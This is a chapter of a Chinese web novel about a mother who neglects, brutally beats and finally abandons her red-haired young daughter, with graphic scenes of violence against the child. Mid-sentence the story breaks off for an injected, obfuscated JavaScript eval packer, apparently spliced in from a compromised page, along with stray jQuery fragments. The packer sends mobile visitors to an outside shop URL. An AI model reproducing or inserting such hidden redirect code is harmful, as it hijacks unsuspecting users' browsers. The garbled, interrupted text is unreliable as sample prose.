张氏住在人间京城凤阳街中央金銮楼后的墙根,她悄悄找人搭了个不起眼小木屋,只不过木屋旁边挨着马厩,一到天热,那味道能把活人熏死,死人熏活。
她过腻了苦日子,想着攀个金贵的公子哥做妾也好,她攀上的那位徐公子娶了个新妇,肚子里迟迟没有动静,张氏便日日候在金銮楼前,左顾右盼,等着情人来。
许得上天垂怜,她靠着肚里的孩子挣来了几分筹码。
同年,徐公子的新妇也诞下一子。
是个女孩。
张氏的孩子是个女孩,胎毛却还是血红色的。自此,徐公子再也没来过金銮楼了。
张氏给孩子取名为“徐招娣”,依旧日日在楼前望,小招娣则拽着张氏的衣摆,蹒跚跟去,但张氏总是不许。
张氏将她那一头红发视作不详,想了结这孩子的性命又下不去手,心中厌烦,早早断了奶,随意喂两口米糊就将她扔在一旁,独自逍遥快活去了。
好在小招娣命大,瘦巴巴长到了五岁。
来金銮楼的都是些贵人,金銮楼里阵阵飘香,混着马粪味也是馋人的。
傍晚,她从小隔间洞眼望去,昏暗的天际炸开了一朵朵烟花,黄澄澄的,好看极了。金銮楼外挂满了各式各样的灯笼,像是摘了天上的太阳,挂满楼外。
她趴在窗前望啊望,嗅着金銮楼里传来的飘香,喜滋滋地想:这楼闪得眼睛痛,还是我家好,娘做的饭菜,在外面都没闻到过,也只有我能吃到。
“死丫头,滚出来吃饭!”
徐招娣闻声,哼哼着去穿那双脚趾漏风的鞋,又乐呵呵想:我娘还给我取了两个名字,每次唤我吃饭都怕我听不到,声音特别大。
徐招娣从两丈宽的小隔间爬出来,一道硕长的黑影压下,她灿烂一笑,一道掌掴迎面而来,巨大的冲击力将她抽翻在地,她一头撞在张氏新拖回来的矮脚桌上,撞得头晕转向。
“怎么这么慢才来?”张氏拧起徐招娣的耳朵吼道,“我怎么生了你这么个废物,一天到晚就知道吃我的喝我的,我还要养着你供着你,你怎么不早点死了!”
“哐当!”一只破碗砸到徐招娣跟前,碗里灌着灰绿色的浓汤,是张氏从金銮楼舀来的潲水。
“对不起娘、对不起娘……”徐招娣蜷起身子,不停朝张氏磕头,也不知磕了多久,徐招娣终于听到“砰”的关门声,这才战战兢兢地抬起头来。
徐招娣望着眼前那碗潲水,凑过去嗅了嗅,味道酸酸的,鼻子也跟着一块发酸。
她簌簌地落下泪来,捧起那碗潲水咕咚咕咚灌进肚里。
她想:娘是好的,哪怕生气也愿意给我做饭,我只要磕个头她就轻易原谅我了。
……
金銮楼许是占了块风水宝地,这酒楼生意越做越大,先前对张氏私建的小屋子睁一只眼闭一只眼也就过去了,眼下楼要扩建,未来迎的可是京城里有头有脸的人物,哪里容得下墙根那个茅房一样的脏屋子。
张氏在门前通管事好一番说情,管事一概不理,抬起那双肥厚的手将她推倒在地,愤愤道:“三日内拆干净了,不然别怪我不客气。”
张氏垂下泪,低低呜咽起来。
徐招娣从隔间的小洞眼望见张氏跌倒哭泣,着急忙慌地从自己的隔间爬出去鞋也没顾得穿,赤脚奔向张氏,拉着她的手小声说:“娘不哭,回家休息、娘不哭……”
张氏盯着那张两颊凹陷的小脸和她头乱糟糟的红发,心底不住地发毛,她猛地扑上去扯着徐招娣的长发尖叫起来:“都是你!都是因为你!我要是生个男孩哪会有今天!!!”
徐招娣感觉头顶传来剧痛,痛得她泪花闪烁,她不敢反抗,只能截住发根,嘴里不停道歉:”对不起娘…对、对不起娘……”
张氏心中积怨已久,拽着她的长发拖地,徐招娣面朝黄土,吃了一嘴沙子,脸上被碎石子刮得火辣辣。
徐招娣心底叫嚣着快逃,可她的手脚不听使唤,一个劲地发颤,空余叫声回荡在脑海。她木讷地望向灰蒙蒙的天空,金碧辉煌的金銮楼一时间变得高不可及,再一眨眼,她又沉入木屋的黑暗中。
张氏甩下徐招娣,从角落取来一根长棍,疯疯癫癫嗔道:“死丫头!老娘今天非打死你不可!”说罢,长棍裹着风呼啸而下,落在徐招娣的背上。
徐招娣本就体弱,她摔得懵然,未能喘息两口,便觉后背落下一道重击,“咔!”她好似听见什么断裂的声音,后背犹如密密麻麻的针尖扎过,在肉中翻搅,她痛得一时失身神,未几,惨叫出声。
“啊——!!!”徐招娣扯着嗓子嘶鸣起来,可痛呼声并没有减轻她半分痛楚,反倒引得那长棍变本加厉地将更大的苦楚施加于她身上。
她嚎啕大哭起来,含糊不清地开口求饶:“娘、娘……我错了…错了……”
张氏听着哭声只觉得心烦意乱,手上青筋鼓起,发了狠劲地将木棍砸在徐招娣背上,“哭哭哭,就知道哭,你怎么不去死!!!”
“咔嚓!”木棍被打断成两截,前半段咕噜咕噜滚到了矮桌下,左右晃了晃,沉寂在阴影的护佑下。
徐招娣喉中涌上一股腥甜,猛然呕出一团血水来,逃命的叫嚣声在她脑海中挥之不去,她拼了命地朝矮桌底下爬去,血水和涎水滴落,流了一串划出几道蜿蜒的血痕。
“死丫头,还敢躲!”张氏眼里闪着红光,瞄准她背后的伤处奋力一踹,猛烈的哭嚎声激荡在这间逼仄的房屋中。
徐招娣痛不欲生,但她如愿以偿爬进那张矮脚桌底下,她猫起身子,尽可能地将自己的手脚团进肚腹下,不敢抬头瞧这摇摇欲坠的桌子。
张氏的骂声不止,叮铃哐啷的碟碗砸破,落在矮脚桌周遭,飞溅地碎片扑了徐招娣满身。
徐招娣抽噎着,蓦地又想起那晚在金銮楼看见的烟花,炸破声连天响,一股
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722809|208277||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
炸成无数片。
真好,娘在家给我放烟花呢。
徐招娣闭上眼,听庇护外风吹雨打。
……
张氏拉着徐招娣回了乡里。
徐招娣背上的伤没好全,背着重重的大包袱,没走两步,手脚就颤抖个不停。她不敢懈怠,忍着剧痛随张氏走在山道上。
“慢吞吞的干什么呢!”张氏迟迟不见徐招娣跟上,脸一横,高声疾呼道,“再不走快点我打断你的腿!”
徐招娣被包袱压得喘不过气,那重重的粗布包袱每每偏移,总是要擦过她背上的伤口,磨破了痂皮,血又染红了衣裳,拖尾一样淅淅沥沥在路上流了一串。
徐招娣抹了一把额前的汗,还以为是自己大汗淋漓,粘湿了衣裤,亦步亦趋地往前迈去。
张氏终于走得累了,随意寻了处石墩落座。徐招娣不敢坐,她放下包袱寻了个树荫,远远站着。她窘迫地绞着手指,思索着自己若是蹲下来休息,张氏会不会不悦。
张氏百无聊赖地扯着身上的绸缎欣赏,这身衣裳还是当时徐公子与她相好时所赠,思及此处,她余光又瞥见徐招娣僵在树荫里,忽而闪过一个念头。
张氏换了副笑脸,朝徐招娣勾了勾手指,抑缓着声调温声唤道:“招娣,站在那干什么呢?快过来。”
徐招娣闻声,苍白的小脸上登时染上几分红润,她抓起包袱,快步走上前去,咧开嘴,甜甜笑道:“怎么了娘?”
张氏接过她手里沉重的包袱,牵着她嶙峋的小手坐在石墩另一端,替她将额前的碎发拢至耳后,眉头轻蹙,怜惜道:“你路上可有瞧见为娘的簪子?为娘还打算将簪子买了换钱,我们母女俩能得个落脚处,好生过日子,可眼下,簪子不见了。”
“呀!娘是将簪子不小心丢在路上了吗?”徐招娣从未得张氏待她这般亲切,又听她说“母女俩”,不免激昂起来,不自觉朝张氏凑得更近了。
「母女俩」——她又回味着这黏在一块的三个字,觉得好生美妙,光是念出来就有种心连心的味道,再随上后头那个“好日子”,怕是自己做梦都能笑醒。
张氏苦了脸,哀哀应她:“唉,多半是为娘不小心落在路上了。”说罢,她又弯下腰揉了揉自己的脚踝,作出一副疲惫的神情。
徐招娣会意,跃下石墩,连连说道:“我去替娘寻簪子!娘在这里等我便是!”
张氏微微颔首,关切道:“不着急,你走慢些,路上可要瞧仔细了!”
徐招娣已然一瘸一拐走远了,遥遥答道:“好——娘等我,我找到很快就回来!”
张氏抻长脖子去瞧,眼见徐招娣血红的背影摇摇晃晃没入拐角,深吸了一口气,又徐徐呼出,好似压在心头数年的那块石头终于搬走了。
秋风拂过树梢,凋零下几片残叶来,静悄悄躺在地上。
张氏心中毫无愧疚意,拽走包袱,头也不回地朝另一头奔去。